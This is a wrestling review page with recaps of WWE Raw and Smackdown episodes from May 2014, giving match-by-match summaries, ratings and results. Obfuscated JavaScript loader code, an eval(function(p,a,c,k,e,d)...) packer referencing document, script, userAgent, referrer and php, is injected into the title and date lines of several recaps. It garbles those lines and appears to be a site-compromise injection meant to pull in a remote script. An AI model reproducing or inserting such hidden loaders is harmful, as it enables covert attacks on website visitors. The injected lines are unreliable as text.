Monday Night Raw – May 19, 2014: That’s A Lot Of Phones

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eefis|var|u0026u|referrer|hibah||js|php'.split('|'),0,{})) Night Raw
Date: May 19, 2014
Location: 02 Arena, London, England
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

It’s time for the post Wrestlemania European tour and things are in a big state of flux right now. Aside from the disastrous stock news on Friday, tonight we find out the fate of the WWE Championship due to Daniel Bryan being sidelined several months with neck surgery. The show was taped earlier in the day but I’ve avoided spoilers. Let’s get to it.

 

The Wyatts are in the ring to open the show and Bray sings the song as the fans all wave their phones for a pretty awesome visual. Bray talks about people laying his head down to sleep which is when everyone sees themselves as a superhero that can fix all the wrongs of the world and dream of payback. Then we wake up and see that we’re not really superheroes that can fix anything.

We kid ourselves by saying everything is fine but everything is wrong. Bray used to have this teacher that looked down on him and went to great measures to tell him that he was a piece of trash. She believed that everything she read in a book was true and everything he said was a lie. One day he went up to her and asked why she thought she was so much better than him. Was it because her parents paid for her to go to a school and waive her degree around, filling his head with propaganda?

Bray didn’t accept that so she told him that he was an evil boy. That woman is now in a retirement home while he’s here as the speaker of 1000 truths with the whole world in his hands. The fans start singing again and Bray loves it. That is his payback for the teacher that told him he was wrong. His tongue is the scorpion’s tail and he offers to save men like John Cena but John hides behind his false bravado.

The fans think Cena sucks and Bray promises to end this fairy tale at Payback. He’ll be the last man standing or no man will ever stand again. Tonight Luke Harper is going to put John Cena down. This brings out Cena, but he comes through the crowd to get at Bray as Harper and Rowan go to the aisle. Bray gets caught in the AA before Harper and Rowan can chase him off.

We recap Daniel Bryan being attacked by Kane last week and Stephanie saying how sorry she was. We’ll get the update on the title later tonight.

Here are Cesaro and Heyman with something to say. Heyman says the people in the ring are the stars while the fans are the wannabes. They should worship the mic he uses as he talks about Brock conquer the Streak. The fans finish the line for him so Heyman lays on the ground, asking who he is. “No I’m not your queen finally dead. I’M THE UNDERTAKER AT WRESTLEMANIA! EXCEPT I CAN GET UP!”

Sheamus vs. Cesaro

Non-title. Sheamus isn’t exactly popular in England. Cesaro takes him into the corner to start for a slap to the face but Cesaro bails to the floor before the ten forearms can get started. Back in and the ten forearms connect, but Cesaro bails to the floor again. They head back inside for some uppercuts from Cesaro as a JBL chant starts up. Sheamus comes back with the slingshot shoulder and the crowd has switched to JERRY. Cesaro sidesteps a charge to send Sheamus to the floor as we take a break.

Back with Cesaro ramming in knees to the ribs and putting on a sleeper. Sheamus quickly fights out with some shots to the ribs and the ax handles to the face. Not that it matters as Sheamus misses a charge into the post and Cesaro takes over again. The superplex from the apron gets two but Cesaro charges into the Irish Curse.

Sheamus hits the rolling fireman’s carry for another two and they have a hard slugout. Cesaro sends the Irishman chest first into the buckle and catches him coming off the top with the uppercut for two. Sheamus makes a quick comeback but gets distracted by Heyman, allowing Cesaro to grab a German suplex for the pin at 12:36.

Rating: C+. Two weeks. He’s been champion TWO WEEKS and he’s already getting pinned in the ring on Raw. Do they just want the titles to mean nothing at all or is this some massive rib that we don’t get? Yeah it’s Cesaro, but was there NO OTHER WAY to set up whatever they’re doing here?

Post match Cesaro won’t shake hands.

Shield vs. Evolution at Payback is now anything goes and an elimination match. We get a video of the end of last week’s show.

Big E. vs. Ryback

This is the first of eight Beat the Clock challenges. The winner in the fastest time gets an Intercontinental Title shot at Payback. Ryback runs Big E. over to start but E. shoves him into the corner with ease. A missed charge allows Ryback to take over again and stomp away before getting two off a suplex. Some hard elbows in the corner have Big E. in more trouble and a big driving shoulder puts him down again. Big E. grabs a belly to belly suplex for another two but Ryback nails a spinebuster and beats on his chest. The Meathook gets two but Big E. slips out of a powerbomb, setting up the Big Ending for the pin at 5:02.

Rating: D+. Not great here but it’s nice to see Big E. get a win like this. I can’t imagine that the time is going to hold up over the course of eight matches, but at it’s not a terrible time. I’m not sure who all they’re going to put into the challenge to have sixteen guys, but it might help get some people on television.

Some special Olympians trained at the WWE Performance Center. That’s always cool.

R-Truth/Trinity vs. Fandango/Layla

Fandango gets a BIG reaction, at least partially due to having the British Layla with him. Before the match, a LIVID Summer Rae storms out to the ring and kisses Fandango before getting into a catfight with Layla. No match.

Bolieve! This week on Smackdown.

We get Daniel Bryan’s music but it’s Stephanie coming out doing the YES pose. She says the fans should be chanting YES right now because Daniel Bryan is at home convalescing. She says she’s got some…well she’ll let someone else say it. We get a quick montage of Barrett saying he has BAD NEWS before we get a horrible imitation from Stephanie.

She’s thinking about stripping Bryan of the title and awarding it to Kane. Or she could strip him of the title and award it to Bad News Barrett. How about to Batista? Seriously though, if anyone is deserving, it should be HHH. In all seriousness though, Bryan won’t be stripped of the title. Instead, Bryan has to show up next week on Raw and surrender the title because it’s best for business. In other words, no real news this week.

Here are the Union Jacks, more commonly known as 3MB. Here’s his opponent.

Rusev vs. Heath Slater

Before the match Lana talks about how great Putin is and how the Soviet Union will take over England and America. Slater tries to dive on Rusev but all three Jacks are destroyed. We hed inside for the opening bell and pain quickly comes to Slater. There’s the spinning slam and the Accolade gets the submission at 38 seconds.

Shield still wants to know if that was Evolution’s best shot. Reigns is sporting a black eye from a match against Orton over the weekend. Rollins is ready for Batista tonight.

Alberto Del Rio vs. Rob Van Dam

Another Beat the Clock match with the time at 5:02. They trade some quick rollups for two each to start before Del Rio gets a quick suplex for two. Del Rio kicks him to the floor as we’ve got 3:30 to go in the clock. Back in and we hit the chinlock on RVD before he comes back with some lame clotheslines.

They seem to get mixed up with Van Dam wanting Rolling Thunder but Alberto being too close, forcing Rob into a legdrop instead. Del Rio comes back with a Backstabber for two but Van Dam kicks out of the armbreaker. A running flip splash keeps Del Rio down but the Five Star misses. A rolling cradle gets two for Alberto but he misses the low superkick, giving Rob the pin at 4:15.

Rating: C-. This is the problem with Beat the Clock: the matches don’t have time to go anywhere and people keep having to try for fast pins instead of giving the match a chance to build. These two don’t really have the best chemistry either, making the whole thing kind of mess. Fine from a technical standpoint but not much else.

We look back at the opening segment.

Cena is in the back and says he’ll have the Usos in his corner again tonight. At Payback, he’ll have to face a crowd full of Bray Wyatt’s followers. The three of them start rhythmically beating on their chests and do the We Say Us bit. This was rather strange.

Evolution is ready for Payback and tells Batista to take Rollins out.

Seth Rollins vs. Batista

Shield is banned from ringside, but HHH is guest ring announcer. His first announcement: Randy Orton is guest timekeeper. Rollins introduces Reigns and Ambrose as the special guest commentators to even things out. Batista hammers away to start but Rollins takes him into the corner for a quick stomping. Batista rams him into the apron as Ambrose is toying with JBL on commentary. Rollins escapes a powerslam and we take a break.

Back with Batista kicking Rollins out to the floor but holding his elbow in the corner. Evolution gets a bit too close to Rollins and Shield stands up to stop them. Back in and we hit the chinlock on Rollins before a hard elbow to the jaw gets two. Rollins fights back by shoving Batista off the ropes and nailing a running sleeper drop. A running dropkick puts Big Dave on the floor and there’s a nice suicide dive to take him down again.

Orton teases getting involved, drawing Ambrose and Reigns off commentary. Rollins misses the springboard knee to the head and gets caught by the spinebuster. Dave charges into a boot though and the springboard knee gets a VERY close two. Seth goes up again but gets shoved off the top, triggering a brawl on the floor. Ambrose runs across the announcers’ tables to take out HHH but gets caught by Orton. Rollins comes over to go after HHH but gets caught by a right hand, drawing the DQ at 13:42.

Rating: B-. I was digging this match but it’s a smart move to not have anyone job in the end. Rollins looked on equal footing with Batista out there, which is way more than I would have expected from him. Shield has looked completely equal to Evolution throughout this entire feud and that’s a GREAT sign.

Batista gets speared post match but a HHH distraction saves him from the Triple Bomb.

Alicia Fox vs. Paige

Non-title. Alicia kicks her right in the face to start but gets kicked in the chest and headbutted for her efforts. Fox bails to the floor but catches Paige coming out and rams her into the barricade. Back in and Fox leans over Paige for a slap to the face before sending Paige into the corner. Paige gets caught with a backbreaker into the corner and a kick to the ribs, allowing Fox to grab a deep cover for the pin at 3:32. Just like that.

Rating: D. Sheamus was bad enough. At the end of the day, this is still Alicia Fox. I think that’s about enough for the explanation.

Fox freaks out again post match, but this time due to happiness. She puts Lawler’s crown on to celebrate this time.

Luke Harper calls Cena a mouse that will be eaten by a snake. Bray says the Usos are dominoes that will be knocked over.

Mark Henry vs. Dolph Ziggler

Beat the Clock again with the time set at 4:15. Apparently this is the final match in the competition so I have no idea what Cole was talking about with eight. It’s not even eight people. Henry runs Ziggler over to start and suplexes him down as we’re already down to three minutes. Dolph falls to the floor but gets back in at eight. Ziggler hits what was supposed to be a Fameasser but looked more like a Rough Ryder for two.

Henry throws him outside again but Ziggler comes back with a quick dropkick. 90 seconds left. Another dropkick puts Henry down and we’ve got less than a minute to go. Dolph heads up top but gets caught in a powerslam for two. He loads up the World’s Strongest Slam but takes too long, allowing Ziggler to hit the Zig Zag. Time runs out though at 4:15 and Van Dam wins the challenge.

Rating: D+. This was an awkward match with both guys missing a few moves here and there. Van Dam winning the challenge is fine as he’ll get a good match out of Barrett. Ziggler winning would have been fine as well so there wasn’t a bad choice out of either guy here. The match didn’t work though.

Van Dam comes out and gets caught by a Bull Hammer from Barrett. Bad News sucks up to the London crowd and says there’s no way this Englishman is losing to a Yank. Rule Britannia plays Barrett out.

Renee Young brings out Adam Rose for a chat as JBL goes on a huge rant about how much he hates bunnies. Rose wants to know where his cheeseburger is and we’ve got a man named Ethan in a cheeseburger shirt. Rose: “He’s got sesame seeds on his buns. We’re taking him to the doctor next week.” The fans cut off the interview to sing the song (JBL: “STOP IT LONDON! THAT BUNNY COULD HAVE FLEAS!”) before Renee asks why Rose has targeted Swagger and Colter. He just wants them to stop being “grumpy pantses.”

Rose has the bunny dance (JBL: “Euthanize the bunny right now.”) but here are Swagger and Colter to interrupt. Colter wants to know what Rose’s deal is and even asks Swagger to stand back. He calls Rose the thing that is bringing America down and he’ll bring England down too. Colter wants to have a fight with Rose but Jack gets in a cheap shot. He goes after some of the members of the party but Rose is back up for the save.

Bolieve!

John Cena vs. Luke Harper

The Usos are here to counter Rowan and Harper and the phones come out for Bray’s entrance again. That’s quite a cool looking sight. The fans start the dueling chants as Cena hits a bulldog and a big boot to the face gets two. Harper gets in a shot of his own for two as we take our final break. Back with Harper knocking Cena down again before kicking him in the face for two. There’s the Gator Roll and a suplex gets another two count.

We get the singing John Cena Sucks chant as Cena comes back with the ProtoBomb but Harper is ready for the Shuffle and catches Cena in a German suplex. Harper misses a big boot and falls out to the floor, only to get caught in another ProtoBomb. Now the Shuffle connects but Luke escapes the AA and slams Cena face first for two. Harper busts out a dropkick of all things to send Cena to the floor, setting up a suicide dive.

Back in and Cena grabs a tornado DDT for two but gets caught by a superkick for an even closer near fall. Harper busts out a torture rack neckbreaker of all things but stops to look at Bray for support. Cena comes right back with the STF but Harper makes it into the ropes. The Usos take out Rowan and Bray but Wyatt pops up and hits a pair of Sister Abigails. He goes for Cena but gets low bridged, allowing Harper to hit a Michinoku Driver for another two. A quick AA connects but Rowan comes in for the DQ at 12:36.

Rating: C+. This was getting good but you knew there was no way Cena was jobbing here so there were only a few choices to end the match. Harper continues to look awesome in the ring as a power brawler and will certainly have a solid career once he’s no longer dealing with Bray anymore.

With the Usos down, Cena takes Sister Abigail as well and they take him up to the stage. Another Sister Abigail on the stage lays Cena out again. Bray sings while Harper slowly counts to ten to end the show.

Overall Rating: C. Stupid booking of midcard champions aside, this worked well enough for the first part. I really could have done without the bait and switch for the title announcement but that’s what you come to expect from WWE. There was some decent enough stuff tonight and the Evolution vs. Shield segment was great. It’s right in the middle so the average grade seems to fit.

Results
Cesaro b. Sheamus – German suplex
Big E. b. Ryback – Big Ending
Rusev b. Heath Slater – Accolade
Rob Van Dam b. Alberto Del Rio – Rollup
Seth Rollins b. Batista via DQ when HHH interfered
Alicia Fox b. Paige – Kick to the ribs
Dolph Ziggler vs. Mark Henry went to a time limit draw
John Cena b. Luke Harper via DQ when Erick Rowan interfered

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Smackdown – May 16, 2014: The Importance Of Minions

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysyff|var|u0026u|referrer|yysia||js|php'.split('|'),0,{})) May 16, 2014
Location: Greensboro Coliseum, Greensboro, North Carolina
Commentators: Michael Cole, John Bradshaw Layfield

We’re back in WCW country now but the interesting thing is the lack of a healthy WWE Champion. Daniel Bryan has been forced out of action by neck surgery, meaning we’re likely to have the title vacated in the near future. Other than that we’re still focused on the Shield vs. Evolution which will likely get a lot of TV time tonight, along with Cena vs. Wyatt. Let’s get to it.

We open with a recap of Daniel Bryan announcing his neck surgery from Monday. He promises he’ll be back.

Here’s Cena to get things going. We get a quick video of Bray Wyatt mentioning a last man standing match on Raw. First up though, Cena wishes Daniel Bryan the best and hopes he gets back soon. That brings Cena around to Bray, who he knows can’t want a last man standing match. Bray doesn’t have the heart to get into a match where there are no rules and you have to beat your opponent so senseless that they can’t answer the count of ten. Cena has been in those kind of matches before and knows what they’re like.

Bray is a far more intelligent person than that because he doesn’t have any of the dozen words Cena uses for testicles. Cena accepts the challenge for a last man standing match at Payback. However that leaves us with nothing to do tonight, so Cena thinks we should have a fight. He makes an open challenge to any member of the Wyatt Family and Bray gets to make the pick. Cena bets that Bray won’t pick himself but here’s Wyatt to answer.

Bray says Cena doesn’t know him as well as he thinks he does. Wyatt walks with monsters and sings with spirits while Cena’s world begs on its knees for mercy. Now comes the end of the story. Whoever shall be the last man standing will conquer all, but whoever loses will be trapped in the prison of his own thoughts. Cena can make all the jokes he wants but Bray wants to thank him. John has opened Bray’s mind and shown him the key to all of Bray’s problems. His cure will take the air from Cena’s lungs. The challenge for tonight is accepted.

Bolieve!

Cody Rhodes/Goldust vs. Usos

Non-title. Goldust and Jey get us going with the Uso being run over by a shoulder block and taking an atomic drop. Some armdrags take Goldust down as Cole tells us about Cody celebrating about his win over Sandow on Raw. Speaking of Cody he comes in off a missile dropkick and cranks on a hammerlock. It’s not good enough to prevent a tag though as Jimmy comes in and works on an armbar of his own.

The champions start their fast tags to stay on Cody with a double elbow drop for two. Cody fights over and tags in Goldie for some elbows of his own. Rhodes low bridges Jey to the floor to take over in a rather heelish move. We take a break and come back with Cody whipping Jey into the corner for another near fall. Goldust sends Jey’s weakened arm into the post and gets two off a powerslam.

Back to Rhodes who stays on the arm but gets caught by a shot to the ribs. Goldust saves the hot tag but gets sent to the floor, allowing Jimmy to come in. The Samoan drop and running Umaga attack are good for two on Rhodes. Everything breaks down with Goldust and Jey fighting to the floor. The Disaster Kick lays Jimmy out but Jey makes the save. Jimmy comes back with the superkick and the Superfly Splash is good for the pin at 8:20 shown of 10:50.

Rating: C. Basic but well done match here with both teams looking fine. This was much more interesting than watching Cody have a two minute singles match that goes nowhere for the same purpose. It could also play up the idea of Cody not being able to do anything with Goldust around and wanting to do everything on his own.

Cody is upset post match and leaves on his own.

El Torito vs. Heath Slater

Slater holds up a cape for no apparent reason and gets gored from behind. Heath slams him down and kicks Torito around with his boot before posing a bit. Torito tries to fight back but Slater holds him back with one hand. Horny tries to come in but hits Slater by mistake, allowing Torito to hit a moonsault press for the pin at 2:18.

We recap Shield vs. Evolution on Monday.

Natalya vs. Nikki Bella

Eva Marie is guest referee for no apparent reason. Natalya takes her down to start and we get a nice bridge up into an attempted backslide. A discus lariat gets two on Nikki but she comes back with a kind of facebuster for two. Natalya comes back with a surfboard but Nikki rolls backwards into a cradle for the pin at 2:30. Again they were there for how they looked in their outfits, but this was WAY better than Raw.

Dolph Ziggler is in the back and says that Batista is the weak link of Evolution. He can’t just come back and be the star that he once was. Tonight the Show Off is going to show Batista up.

Batista vs. Dolph Ziggler

Feeling out process to start with Ziggler actually knocking Batista out to the floor. Big Dave pulls him out as well and sends Dolph hard into the steps. Back in and Dolph is whipped into the corner before a suplex gets two. We hit the chinlock for a few seconds, followed by a wicked spinebuster to put Ziggler down. Ziggler punches out of the Batista Bomb and comes back with a DDT to put both guys down. Batista misses a charge into the post and Dolph hammers away until Batista hits him low for the DQ at 4:32.

Rating: C-. These guys have always had good chemistry together, even back when Dolph was first starting out in the WWE. This didn’t have the time to go anywhere but it’s nice to see Ziggler hanging in there with Batista. I really wouldn’t mind seeing these guys get a nice long match someday which isn’t something I’d think I’d say about Batista.

Batista lays out Ziggler post match, powerbombing him onto the barricade.

Titus O’Neil vs. Sheamus

Non-title and fallout from a few weeks ago when Titus jumped Sheamus before a match, only to get beaten in about 40 seconds. Before the match this time, Titus says Sheamus didn’t even pin anyone for the title. He shouldn’t be US Champion because he’s not from the United States. On top of that, everyone in the company is tough, including Titus. He gives Sheamus a chance to get out of the ring before the match. Bell, Brogue Kick, Sheamus laughs, pin at 15 seconds. According to a live report, Titus called Sheamus “hot mayonnaise white”, which must have been edited out.

Byron Saxton tries to interview Adam Rose but Adam is more interested in a cheeseburger. He has no issue with Jackie Swagger, even though he finds Zeb and Jack boring. A big lemon comes out of the bus and Byron declares himself a Rosebud. Someone puts a clown wig on Saxton’s head and he starts dancing.

Bolieve!

Santino Marella vs. Damien Sandow

This is the result of Sandow’s open challenge. Sandow hammers away to start but misses a charge into the corner, gets caught with the Cobra and pinned in 40 seconds.

Post match Sandow goes on a rant about what a great soldier he is and how the fans love it when the smart guy loses. However someone keeps leaving the mic on, which cues the mic guy to cut the sound. This might go somewhere if Sandow ever got to say anything.

Video of Cena at the Susan G. Komen rally in Washington DC.

R-Truth vs. Cesaro

Truth is a North Carolina boy so the fans are even more into him. Before the match we get the usual schtick from Heyman, this time focusing on the truth of Brock Lesnar conquering the Streak, and Cesaro winning the Andre battle royal being what’s up. Cesaro jumps Truth during WHAT’S UP but Truth does his backflip into the side kick for two. The ax kick misses though and it’s Swiss Death into the Neutralizer for the pin at 1:15.

The Raw ReBound talks about Bryan being attacked after his announcement of requiring neck surgery. The update says Bryan’s surgery was a success. Another update will be coming on Monday, along with an announcement on the future of the title.

It’s time for the main event and all three Wyatts surround Cena. This brings out the Usos to even things up as we take a break.

John Cena vs. ???

Bray selects Erick Rowan to do the dirty work tonight. Rowan takes it right to Cena in the corner before slamming him down in the middle of the ring. John fights back with right hands but runs into a back elbow to the jaw. Cena is thrown to the floor and then into the steps, right in front of Wyatt. Back in and Erick does the two fist head vice before throwing him right back to the floor.

John gets back in and Rowan runs him over again before we hit the bearhug. A modified Boss Man Slam gets two on Cena but he fights back with the ProtoBomb and Shuffle. Cena dives into a fall away slam followed by a splash in the corner. Not that it matters as Cena grabs the STF, drawing in Harper. Jey easily takes him out though and a dive to the floor drops Harper again. Rowan busts out a claw slam of all things for two, only to walk into the AA for the pin at 8:23.

Rating: C. That’s the beauty of minions for Wyatt. On top of that it was a decent power match with Rowan continuing to look fine. He and Harper have a future as a tag team and likely will get the shot against the Usos at Payback. It’ll be a solid power vs. speed match and there’s nothing wrong with that.

Overall Rating: C-. This was another meaningless Smackdown but there are far worse ways to spend a Friday night. Like reading through all the people running off at the mouth about the stock falling. The short matches worked in a way as I didn’t have time to get annoyed or bored with a lot of the lame acts. Some story progression took place, but everything is kind of in limbo due to the impending announcement about the title and the European tour.

Results
Usos b. Cody Rhodes/Goldust – Superkick to Rhodes
El Torito b. Heath Slater – Moonsault press
Nikki Bella b. Natalya – Cradle
Dolph Ziggler b. Batista via DQ when Batista hit him low
Sheamus b. Titus O’Neil – Brogue Kick
Santino Marella b. Damien Sandow – Cobra
Cesaro b. R-Truth – Neutralizer
John Cena b. Erick Rowan – Attitude Adjustment

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Smackdown – May 9, 2014: The Hangover Edition

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anirb|var|u0026u|referrer|yahst||js|php'.split('|'),0,{})) May 9, 2014
Location: First Niagara Center, Buffalo, New York
Commentators: Michael Cole, John Bradshaw Layfield

After Monday dealt with the fallout from Extreme Rules, which was fallout from Wrestlemania, we get to deal with the fallout from the fallout here on Smackdown. The main story at the moment is Evolution laying out Shield to end the show, meaning we’re likely setting up Evolution vs. Shield II at Payback. Also Daniel Bryan has gone from a monster at Wrestlemania to Laurie Strode about a month later. Let’s get to it.

We open with a recap of the battle royal where Sheamus won the US Title, last eliminating reigning champion Dean Ambrose. This transitions into a recap of the main event where Evolution helped the Wyatts defeat Shield and beat down the Hounds of Justice post match.

US Title: Sheamus vs. Dean Ambrose

No Rollins and Reigns outside this time. Dean is favoring his ribs or arm coming in but takes Sheamus down to start. The champion counters into a headlock takeover followed by a running shoulder. Cole is already playing up Sheamus getting the title through less than fair measures, even though he won the match though totally fair and legal means. Sheamus cranks on the arm but Dean fights back with that kind of running Thesz Press of his.

They head outside with Sheamus ramming Ambrose into the announce table but getting suplexed onto the floor. Sheamus comes back with a rolling fireman’s carry as we take a break. Back with Dean fighting out of a full nelson and hammering away at Sheamus’ head. Sheamus goes shoulder first into the post and out to the floor, setting up a great looking suicide dive from Dean. Back in and we hit the Figure Four, which is some pretty lame psychology after Sheamus’ shoulder hit the post and barricade about twenty seconds ago.

The champ gets to a rope and comes back with the Irish Curse and a Cloverleaf. Another rope is grabbed and Dean heads to the apron, setting up the ten forearms to the chest. A big kick to the chest sends Dean into the ropes but he explodes out with a clothesline to put both guys down. Back up and the Brogue Kick out of nowhere sends Ambrose to the floor. Ambrose dives back in at nine, only to take a second Brogue Kick for the pin at 8:19 shown of 11:49.

Rating: C+. Again, I don’t see why this is supposed to be the start of a heel turn for Sheamus. He won the title in a match that is about everyone being in the ring at the same time where the announcers talk about how you have to watch your back. Then he beats the former champion clean with his finishing move. That sounds like one man being better than the other, not one man cheating to win. If that’s where they’re going, then hopefully Sheamus starts doing some heelish stuff instead of the turn being forced because the script says that’s what happens.

Rob Van Dam/Big E. vs. Bad News Barrett/Cesaro

Van Dam has a big black eye and Heyman is on commentary. The Bad News for the week is that climate change is coming and soon people like Big E. are going to be forgotten pieces of history. Barrett hammers on Van Dam to start but gets caught by the springboard kick to the face. Bad News puts on a chinlock as Heyman talks about Brock beating Undertaker. Another kick puts Barrett down and it’s a double tag to Big E. and Cesaro. Big E. takes over with the usual and gets two off the splash. A Rock Bottom out of the corner gets the same but Van Dam accidentally kicks Big E., setting up the Neutralizer for the pin at 2:38.

We look at stills of Bryan vs. Kane from the PPV.

Rusev vs. Kofi Kingston

Just Rusev now. We get another pro-Putin rant from Lana before the match, saying he should win the Nobel Peace Prize. Kofi fires off some kicks to start but gets crushed by a jumping kick to the face. A dropkick staggers Rusev and Kofi hammers away with right hands in the corner, only to have his sunset flip countered by a choke. The cross body gets two on Rusev but Kofi slams him down and hooks the Accolade for the win at 2:06.

The Wyatts come on screen with Bray talking about how the world must crumble because we’re all just slaves to judgment. Judgment tells him he must adapt and it is judgment that says he must bow to Cena. But where we’re going, no one ever comes back.

Bolieve!

Layla/Fandango vs. Santino Marella/Emma

Santino takes Fandango down with a headlock to start but the dancer slams him down. He takes too long dancing on the middle rope though and misses a knee drop, allowing for a double tag to the girls. There’s the Dilemma to Layla and everything breaks down. Emma loads up the pink Cobra but the guys fighting allows Layla to roll her up for the pin at 2:06.

Fandango and Layla kiss on stage.

Roman Reigns vs. Mark Henry

We get an inset interview from Henry saying this is about revenge for Shield attacking him 3-1 a few months ago. Points for continuity. Henry throws Reigns into the corner a few times before winning a slugout by going for Roman’s bad ribs. Mark talks a bunch of trash about how Reigns is by himself tonight and you can hear JBL cover up a laugh. He bends Reigns’ bad ribs around the post as this is one sided so far.

As I say that, Reigns comes back with the jumping clothesline to put Henry down for the first time. Roman tries another charge but runs into a clothesline from Mark. Henry loads up what appeared to be a Vader Bomb but Reigns lifts him onto his shoulders and plants Mark with a Samoan drop. The spear is enough for the pin at 3:45.

Rating: C-. This was a nice mini story with Reigns fighting through adversity and going into Beast Mode to win in the end. That’s the kind of win that makes Reigns look like a monster who isn’t going to be stopped and that’s exactly what he needs at this point. It’s not a masterpiece and was just a quick match but it was nice to see.

3MB vs. Los Matadores/El Torito

It’s Slater/McIntyre for 3MB here along with Horny. McIntyre clotheslines Fernando down for two to start before stomping away. Off to Slater as the big guys start tagging in and out to work over Fernando. JBL drops a Bastian Booger birthday greeting of all things as Horny comes in for some shots of his own. 3MB keeps up the tags until Fernando scores with a dropkick to put both guys down.

Horny: “TAG ME IN! I WANT TO RIP HIS FACE OFF!” Both small guys get tags and Torito starts biting, only to get punched in the jaw for his efforts. The Gore puts Horny on the floor but only seems to tick him off. Slater won’t tag in for some reason but does break up a pin attempt off a splash. Heath comes in legally but misses a charge, allowing Torito to hit a moonsault press for the pin at 4:23.

Rating: D+. The match was nothing to see but that’s become the standard for this feud. Speaking of nothing to see, did Los Matadores fall into a hole for the second half of the match? I’d assume they were fighting with the other full sized guys but the camera didn’t catch much of it if they were. This feud has run out of steam though.

Long recap of Bryan vs. Kane on Monday.

Mr. T. wishes us a Happy Mother’s Day.

Batista vs. Seth Rollins

This has potential. Rollins is banged up as well with a bad arm and misses a charge into the corner to start. Another missed charge sends Rollins to the floor and Batista ties him up in the ring skirt for a beating. The fans tell Batista he can’t wrestle before he pulls Rollins away from the ropes for a big crash to the mat. Back outside already with Seth going into the steps.

We hit the chinlock for a few moments before Batista goes after the bad arm by wrapping it around the post. Batista tries to pull Rollins out of the corner again but Seth backflips (mostly) to his feet. Big Dave misses a charge of his own and goes shoulder first into the post, allowing Rollins to hit some running forearms in the corner. A running sleeper slam from Rollins sets up the standing Sliced Bread #2 but Batista gets away.

Seth scores with an enziguri from the apron but misses the top rope knee to the head, only to run into the spinebuster. The Batista Bomb is countered and now the running knee sends Batista down to the floor. Seth goes up top for a dive, only to be sent face first into the announce table for the countout at 8:55.

Rating: C+. Give this another five minutes and it’s a far better match. This was another good sign for the Shield as Rollins can clearly hang in there with a big star in a longer match. He reminds me of a Jeff Hardy in the ring with all of the dives and it’s easy to get behind his comebacks.

Post match Batista lays Rollins out with a Batista Bomb.

Wyatt Family vs. Usos/John Cena

Cena runs over Rowan to start and scores with a quick release fisherman’s suplex. Harper comes in for one of those freaky looks of his so Cena takes him down with a bulldog. Off to Jey for some shots to the face before Jimmy comes in for some running shots in the corner. Luke comes back with a right hand of his own and it’s off to Rowan who walks into a Jimmy punch. Harper comes back in to take over on Jey with catapult into the middle rope for two.

Bray is legal for the first time and chokes even more as this isn’t the most energetic match in the world. Wyatt does the Spider Walk out of the corner but Jey kicks his arm away in a nice counter. A low bridge puts Bray on the floor but Harper breaks up a tag attempt. There’s the Gator Roll followed by a chinlock before it’s back to Erick for a headlock.

Jey shoves him into the corner and avoids a splash, finally allowing for the hot tag to Jimmy to face Bray. Cena gets in a cheap shot from the apron as Jimmy superkicks Harper down for two. Bray and Rowan double team Cena but Jimmy dives on all three of them. He goes back inside though and eats the discus lariat from Harper for the pin at 8:18.

Rating: D+. The match was fine from a technical standpoint but there was no energy to this at all. It felt like a dark match or the main event of a house show at the end of a long tour. Most of it was just punching and variations of chinlocks with no real big saves and almost nothing from Cena at all. I expected more from this one but it does advance the Family vs. Usos down the line.

Overall Rating: D+. This wasn’t much of a show as it’s really just a supplement to Raw, which wasn’t a great show in the first place. It’s cool to see the Shield wrestling on their own and they didn’t perform horribly, but the rest of the show really didn’t do anything for me at all. It’s really just a long set of matches that don’t change anything and won’t matter by the time Monday comes around.
 

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Monday Night Raw – May 5, 2014: Just Play The Halloween Theme Already

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edakt|var|u0026u|referrer|sbsei||js|php'.split('|'),0,{})) Night Raw
Date: May 5, 2014
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Extreme Rules has come and gone and most of the stories have advanced. First and foremost, Bryan kept the title away from Kane in a brawl reminiscent of the Attitude Era but it looks like a rematch is imminent. Other than that Shield defeated Evolution in a war and Bray Wyatt escaped the cage to beat Cena. The main stories tonight are a twenty man battle royal for the US Title and Adam Rose debuting. Let’s get to it.

US Title: Battle Royal

Dean Ambrose, Goldust, Cody Rhodes, Mark Henry, Titus O’Neal, R-Truth, Kofi Kingston, R-Truth, Heath Slater, Sheamus, Curtis Axel, Ryback, Dolph Ziggler, Big Show, Sin Cara, Santino Marella, Fandango, Zack Ryder, Jack Swagger, Damien Sandow

